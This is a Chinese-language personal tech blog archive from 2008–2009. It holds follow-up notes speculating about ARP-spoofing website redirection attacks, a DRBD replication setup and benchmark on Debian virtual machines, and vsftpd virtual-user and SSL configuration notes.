GOOGLE找 ARP+掛馬結果是約有102,000項符合ARP 掛馬的查詢結果,可是把搜尋範圍鎖定在台灣的網頁,就只有469項符合ARP 掛馬的查詢結果.
ARP掛馬前兩年在中國的IDC裡面老早就被人玩爛了,很訝異台灣居然討論的人那麼少.
不過就算真的是IDC裡面某台機器有問題成為掛馬的元兇,應該也會在發現後湮滅掉證據,真正的實情如何我想應該是不會被公開出來的,各位專家就繼續猜吧~~XD

13. 2009-03-11 update. ARP 掛馬的作業模式觀察
由目前找到的ARP掛馬工具實測並觀察封包模式之後來看,ARP掛馬並不會在gateway之外出現兩個封包,所以這種攻擊方式應該比較屬於網路節點中途攔截並搶先送出假造封包.

14.2009-03-12 update.
接到網友專家的來信討論,的確我也感覺之前下的結論過於武斷,由行為模式來看是像機房或是骨幹遭到ARP spoofing,但實際封包模式又不太類似,當然也可能是另一種實作的方式.
不過這些都只是由外部現況及有限的證據進行猜測,並沒法接觸到問題的核心點.真相到底是如何?我想除非有核心人士出來爆料..否則很快就會被時間給淹沒了..

15.2009-03-13 update.
這篇員外 Security: 網站轉址攻擊-ARP掛馬點出了我在2009-03-11時的一個判斷上的盲點,如果是要在網路節點中途攔截,若非使用arp spoofing,除非直接打入router,或是作port mirror過去才行,不然理論上是沒法聽到unicast的tcp封包..(這年頭應該不會有人還在用hub吧,何況是IDC..)
另外附上2008-12-24用wireshark錄到的封包樣本 http://www.swm.idv.tw/20081224_cap.zip 有興趣或是手上有2009-03大規模轉址封包樣本的朋友可以抓回去分析比對看看.

2008-10-02

DRBD on Debian 上的建置與實測筆記

這是DRBD (Distributed Replicated Block Device) 在DEBIAN上的建置筆記與簡單測試過程的紀錄
整個測試環境是在VMware Server 1.07 build-108231 上
Host配置:
OS- Windows 2003 R2 Enterprise with SP2
CPU- Intel Q6600 2.4GHz
RAM- DDR2-800 2GB *4 = 8GB
HDD- Seagete ST3500320AS *2 with ICH9 AHCI
VM所使用的分區為 Windows Software Raid-0

Guest配置:
OS- Debian 4.0 etch [Kernel:2.6.18-6-686 (2.6.18.dfsg.1-22etch2)]
CPU- 由VM分兩顆Processors出來
RAM- 512MB
HDD- 8G scsi with Independent-persistent
Eth0- Bridged
Eth1- Host-Only #DRBD獨立內網資料交換用

以下皆以Guest為實際操作/測試標的
先準備好兩個相同的VM環境:NODE-A,NODE-B
(可以在 Debian 基本安裝完以後直接把硬碟檔.vmdk複製過去然後修改設定比較節省時間)
硬碟分割:
/dev/sda1 256M /boot #FS:ext3
/dev/sda2 7.7G LVM #作為LVM的PV,屬於VG0
/dev/sda3 512M swap
LVM:
/dev/VG0/LVROOT 4G / #FS:XFS 系統根目錄,測試就懶得細分了
/dev/VG0/LVDRBD 2G /DRBD #測試DRBD用

網路設定
NODE-A
eth0 192.168.1.101 #bridged HOST的網卡,可連外
eth1 192.168.100.101 #Host-Only 網段網卡,作為DRBD交換資料用
NODE-B
eth0 192.168.1.102 #bridged HOST的網卡,可連外
eth1 192.168.100.102 #Host-Only 網段網卡,作為DRBD交換資料用

安裝/測試步驟:
1.設定APT的Sources List
在NODE-A先將 Backports 加進/etc/apt/sources.list中,這樣才有DRBD8可以用(etch本身提供的是drbd0.7,有點舊了)
==================================
NODE-A# echo "deb http://www.backports.org/debian etch-backports main" >>/etc/apt/sources.list
==================================
因為 Backports的GPG在做apt-get update時會出現
==================================
W: GPG error: http://www.backports.org etch-backports Release: The following signatures couldn't be verified because the public key is not available: NO_PUBKEY EA8E8B2116BA136C
W: You may want to run apt-get update to correct these problems
==================================
所以需要把它的PGP匯入
NODE-A# gpg --keyserver hkp://subkeys.pgp.net --recv-keys 16BA136C
NODE-A# gpg --export | apt-key add -
之後就能正常進行 apt-get update 了

2.安裝drbd8 (source & utils)
NODE-A# apt-get install drbd8-source drbd8-utils
同時會把所有需要的相依套件都裝進去

3.產生drbd8 kernel module
brdb8-source裝完後會在 /usr/src/drbd8.tar.bz2
把它解開
NODE-A# cd /usr/src ; tar jxvf /usr/src/drbd8.tar.bz2
使用 module-assistant 來編譯 drbd8 的kernel module
NODE-A# module-assistant auto-install drbd8
也會自動把所有編譯過程中需要的相依套件自動裝進去,編譯完以後自動安裝
同時產出的 kernel module 會在 /usr/src/drbd8-2.6.18-6-686_8.0.13-2~bpo40+1+2.6.18.dfsg.1-22etch2_i386.deb (檔名會視現行KERNEL版本編號而異)

4.從NODE-A把編好的kernel module & drbd8-utils 直接丟到NODE-B去安裝,省得再NODE-B上還要把相同步驟再搞一次
/usr/src/drbd8-2.6.18-6-686_8.0.13-2~bpo40+1+2.6.18.dfsg.1-22etch2_i386.deb #drbd8 kernel module
/var/cache/apt/archives/drbd8-utils_2%3a8.0.13-2~bpo40+1_i386.deb #從apt的cache archives裡面把drbd8-utils翻出來
在NODE-B上直接用 dpkg -i 把它裝進去就好了(前提是NODE-A & NODE-B的Kernel是一樣的)
NODE-B# dpkg -i drbd8-2.6.18-6-686_8.0.13-2~bpo40+1+2.6.18.dfsg.1-22etch2_i386.deb drbd8-utils_2%3a8.0.13-2~bpo40+1_i386.deb

5.設定/etc/drbd.conf
測試用基礎設定,就依照原本安裝完預設的值的來修改,簡單設定如下
NODE-A & NODE-B : /etc/drbd.conf
==================================
common {
syncer { rate 10M; }
}
resource r0 {
protocol C;
disk { on-io-error detach; }
on NODE-A {
device /dev/drbd0;
disk /dev/VG0/LVDRBD;
address 192.168.100.101:7788;
meta-disk internal;
}
on NODE-B {
device /dev/drbd0;
disk /dev/VG0/LVDRBD;
address 192.168.100.102:7788;
meta-disk internal;
}
}
==================================

6.初始化 resource r0
NODE-A# drbdadm create-md r0
NODE-B# drbdadm create-md r0

7.啟動DRBD service
NODE-A# /etc/init.d/drbd start
NODE-B# /etc/init.d/drbd start

8.檢視DRBD resource r0 狀態
NODE-A# drbdadm state r0
Secondary/Secondary
NODE-B# drbdadm state r0
Secondary/Secondary
=====連線已建立,目前兩個NODE都是Secondary狀態====
NODE-A# cat /proc/drbd
version: 8.0.13 (api:86/proto:86)
GIT-hash: ee3ad77563d2e87171a3da17cc002ddfd1677dbe build by phil@fat-tyre, 2008-08-04 15:28:07
0: cs:Connected st:Secondary/Secondary ds:Inconsistent/Inconsistent C r---
ns:0 nr:0 dw:0 dr:0 al:0 bm:0 lo:0 pe:0 ua:0 ap:0
resync: used:0/61 hits:0 misses:0 starving:0 dirty:0 changed:0
act_log: used:0/257 hits:0 misses:0 starving:0 dirty:0 changed:0
NODE-B# cat /proc/drbd
version: 8.0.13 (api:86/proto:86)
GIT-hash: ee3ad77563d2e87171a3da17cc002ddfd1677dbe build by phil@fat-tyre, 2008-08-04 15:28:07
0: cs:Connected st:Secondary/Secondary ds:Inconsistent/Inconsistent C r---
ns:0 nr:0 dw:0 dr:0 al:0 bm:0 lo:0 pe:0 ua:0 ap:0
resync: used:0/61 hits:0 misses:0 starving:0 dirty:0 changed:0
act_log: used:0/257 hits:0 misses:0 starving:0 dirty:0 changed:0
=====由/proc/drbd 看到的狀態尚未同步所以是Inconsistent/Inconsistent=====

9.初始化同步r0,將NODE-A設為primary
以NODE-A的資料為基準開始同步
NODE-A# drbdadm -- --overwrite-data-of-peer primary r0
r0所在的/dev/VG0/LVDRBD有2G,首次初始化同步需要點時間,因為在/etc/drbd.conf中設定syncer { rate 10M; } 限制同步最大頻寬使用10MBps(80Mbps),所以2G的資料大概花了三分二十秒左右

同步中在NODE-B上看 /proc/drbd 的資訊
NODE-B# cat /proc/drbd
version: 8.0.13 (api:86/proto:86)
GIT-hash: ee3ad77563d2e87171a3da17cc002ddfd1677dbe build by phil@fat-tyre, 2008-08-04 15:28:07
0: cs:SyncTarget st:Secondary/Primary ds:Inconsistent/UpToDate C r---
ns:0 nr:1842176 dw:1842176 dr:0 al:0 bm:112 lo:0 pe:0 ua:0 ap:0
[================>...] sync'ed: 87.9% (254876/2097052)K
finish: 0:00:23 speed: 10,984 (10,288) K/sec
resync: used:0/61 hits:115023 misses:113 starving:0 dirty:0 changed:113
act_log: used:0/127 hits:0 misses:0 starving:0 dirty:0 changed:0

同步完之後在NODE-A上看 /proc/drbd 的資訊
NODE-A# cat /proc/drbd
version: 8.0.13 (api:86/proto:86)
GIT-hash: ee3ad77563d2e87171a3da17cc002ddfd1677dbe build by phil@fat-tyre, 2008-08-04 15:28:07
0: cs:Connected st:Primary/Secondary ds:UpToDate/UpToDate C r---
ns:2097052 nr:0 dw:0 dr:2097052 al:0 bm:128 lo:0 pe:0 ua:0 ap:0
resync: used:0/61 hits:130938 misses:128 starving:0 dirty:0 changed:128
act_log: used:0/127 hits:0 misses:0 starving:0 dirty:0 changed:0

同步完之後看給DRBD用的網卡eth1
NODE-A:~# ifconfig eth1
eth1 Link encap:Ethernet HWaddr 00:0C:29:68:EC:2C
inet addr:192.168.100.101 Bcast:192.168.100.254 Mask:255.255.255.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:659296 errors:0 dropped:0 overruns:0 frame:0
TX packets:1502254 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:47778966 (45.5 MiB) TX bytes:2248845944 (2.0 GiB)
Interrupt:177 Base address:0x1480

NODE-B:~# ifconfig eth1
eth1 Link encap:Ethernet HWaddr 00:0C:29:D3:37:A3
inet addr:192.168.100.102 Bcast:192.168.100.255 Mask:255.255.255.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:1502140 errors:12 dropped:18 overruns:0 frame:0
TX packets:659298 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:2248686736 (2.0 GiB) TX bytes:47778708 (45.5 MiB)
Interrupt:177 Base address:0x1480

可以看到由NODE-A傳了2G資料給NODE-B

10.於NODE-A(primary)上建立file system,我是用XFS
NODE-A:~# mkfs.xfs /dev/drbd0
meta-data=/dev/drbd0 isize=256 agcount=8, agsize=65532 blks
= sectsz=512 attr=0
data = bsize=4096 blocks=524256, imaxpct=25
= sunit=0 swidth=0 blks, unwritten=1
naming =version 2 bsize=4096
log =internal log bsize=4096 blocks=2560, version=1
= sectsz=512 sunit=0 blks
realtime =none extsz=65536 blocks=0, rtextents=0

11.於NODE-A(primary)上將/dev/drbd0 掛載到 /DRBD 上
NODE-A:~# mount /dev/drbd0 /DRBD
NODE-A:~# df
Filesystem 1K-blocks Used Available Use% Mounted on
/dev/mapper/VG0-LVROOT
4184064 609632 3574432 15% /
tmpfs 258408 0 258408 0% /lib/init/rw
udev 10240 52 10188 1% /dev
tmpfs 258408 0 258408 0% /dev/shm
/dev/sda1 241116 13240 215428 6% /boot
/dev/drbd0 2086784 288 2086496 1% /DRBD

12.於NODE-A(primary)測試大檔(1G)寫入速度
寫入1G資料到LOCAL DISK上,花了2.69529秒(VM的DISK CACHE加速的嫌疑)
NODE-A:~# dd if=/dev/zero of=/TEST_1G bs=1M count=1000
1000+0 records in
1000+0 records out
1048576000 bytes (1.0 GB) copied, 2.69529 seconds, 389 MB/s
寫入1G資料到DRBD上,花了10.8353秒
NODE-A:~# dd if=/dev/zero of=/DRBD/TEST_1G bs=1M count=1000
1000+0 records in
1000+0 records out
1048576000 bytes (1.0 GB) copied, 10.8353 seconds, 96.8 MB/s

寫入過程中,在NODE-B(secondary)上的CPU使用量
Tasks: 55 total, 3 running, 52 sleeping, 0 stopped, 0 zombie
Cpu(s): 0.0%us, 5.3%sy, 0.0%ni, 53.0%id, 0.0%wa, 7.2%hi, 34.5%si, 0.0%st
Mem: 516820k total, 36056k used, 480764k free, 368k buffers
Swap: 498004k total, 0k used, 498004k free, 20104k cached

PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
2333 root 16 0 0 0 0 R 69 0.0 1:09.22 drbd0_receiver
2338 root -3 0 0 0 0 S 0 0.0 0:00.56 drbd0_asender
1 root 15 0 1948 648 552 S 0 0.1 0:02.43 init

可以看到在secondary上,
5.3%sy -- System CPU time
7.2%hi -- Hardware IRQ
34.5%si -- Software Interrupts

在1G資料寫入DRBD時,於NODE-B(secondary)上用iptraf觀察eth1的流量
Peak total activity: 623426.88 kbits/s, 76228.80 packets/s
Peak incoming rate: 609721.00 kbits/s, 50648.00 packets/s
Peak outgoing rate: 14150.92 kbits/s, 25580.80 packets/s

在VM Host-Only網卡上面可以跑到500Mbps以上

13.於NODE-A(primary)測試1000個1M小檔寫入速度
先建一個1M小檔
NODE-A:~# dd if=/dev/zero of=/tmp/0 bs=1M count=1
用while loop copy這個1M檔案1000次
NODE-A:~# date ;i=1;while [ $i -le 1000 ] ; do cp /tmp/0 /DRBD/$i; i=$[$i+1]; done;date
Thu Oct 2 23:14:00 CST 2008
Thu Oct 2 23:14:10 CST 2008
由時間戳顯示花了10秒鐘

於NODE-B(secondary)上用iptraf觀察eth1的流量
Peak total activity: 674872.19 kbits/s, 82699.00 packets/s
Peak incoming rate: 659846.19 kbits/s, 54869.80 packets/s
Peak outgoing rate: 15513.48 kbits/s, 27829.20 packets/s

14.把NODE-A設為secondary,讓NODE-B當primary
需要先把NODE-A上面mount的/dev/drbd0 umount
NODE-A:~# umount /DRBD
NODE-A:~# drbdadm secondary r0
在NODE-B上把它設為primary並mount到 /DRBD 目錄
NODE-B:~# drbdadm primary r0
NODE-B:~# mount /dev/drbd0 /DRBD
NODE-B:~# df
Filesystem 1K-blocks Used Available Use% Mounted on
/dev/mapper/VG0-LVROOT
4184064 500296 3683768 12% /
tmpfs 258408 0 258408 0% /lib/init/rw
udev 10240 52 10188 1% /dev
tmpfs 258408 0 258408 0% /dev/shm
/dev/sda1 241116 13240 215428 6% /boot
/dev/drbd0 2086784 1024564 1062220 50% /DRBD

因為是在VM上面測試並非實體機器可能會出現誤差,所以測試結果僅供參考.
DRBD詳細說明文件 http://www.drbd.org/users-guide/users-guide.html

2008-07-07

[筆記]VSFTPD 建立虛擬用戶與SSL加密 in Debian

安裝 libpam-pwdfile
apt-get install libpam-pwdfile

建立vsftpd_vuser專用的pam service (vsftpd_vusers)
/etc/pam.d/vsftpd_vusers
# Customized login using htpasswd file
auth required pam_pwdfile.so pwdfile /etc/vsftpd/passwd
account required pam_permit.so

利用apache的htpasswd來建立帳號/密碼檔

htpasswd -c /etc/vsftpd/passwd USERA
htpasswd /etc/vsftpd/passwd USERB
chmod 600 /etc/vsftpd/passwd

建立user_list
/etc/vsftpd/user_list
USERA
USERB

建立個別ACCOUNT目錄/權限

/etc/vsftpd/user/USERA
local_root=/PATH/TO/USERA/ACCESS

/etc/vsftpd/user/USERB
local_root=/PATH/TO/USERB/ACCESS
guest_username=REAL_USER_ACCOUNT
local_umask=002

建立SSL key

openssl req -x509 -nodes -days 730 -newkey rsa:1024 -keyout /etc/vsftpd/vsftpd.pem -out /etc/vsftpd/vsftpd.pem

/etc/vsftpd.conf

pasv_min_port=xxxxx
pasv_max_port=yyyyy
listen_port=zz
anonymous_enable=NO
local_enable=YES
write_enable=YES
local_umask=022
userlist_deny=NO
userlist_file=/etc/vsftpd/user_list
chroot_list_enable=YES
chroot_list_file=/etc/vsftpd/user_list
xferlog_enable=YES
dual_log_enable=YES
connect_from_port_20=YES
xferlog_std_format=YES
listen=YES
tcp_wrappers=YES
## VUSER ##
pam_service_name=vsftpd_vusers
user_config_dir=/etc/vsftpd/user
virtual_use_local_privs=YES
guest_enable=YES
secure_chroot_dir=/var/run/vsftpd
hide_ids=YES
## SSL ##
ssl_enable=YES
force_local_data_ssl=no
force_local_logins_ssl=YES
ssl_tlsv1=YES
rsa_cert_file=/etc/vsftpd/vsftpd.pem

訂閱：文章 (Atom)

小歪碎碎念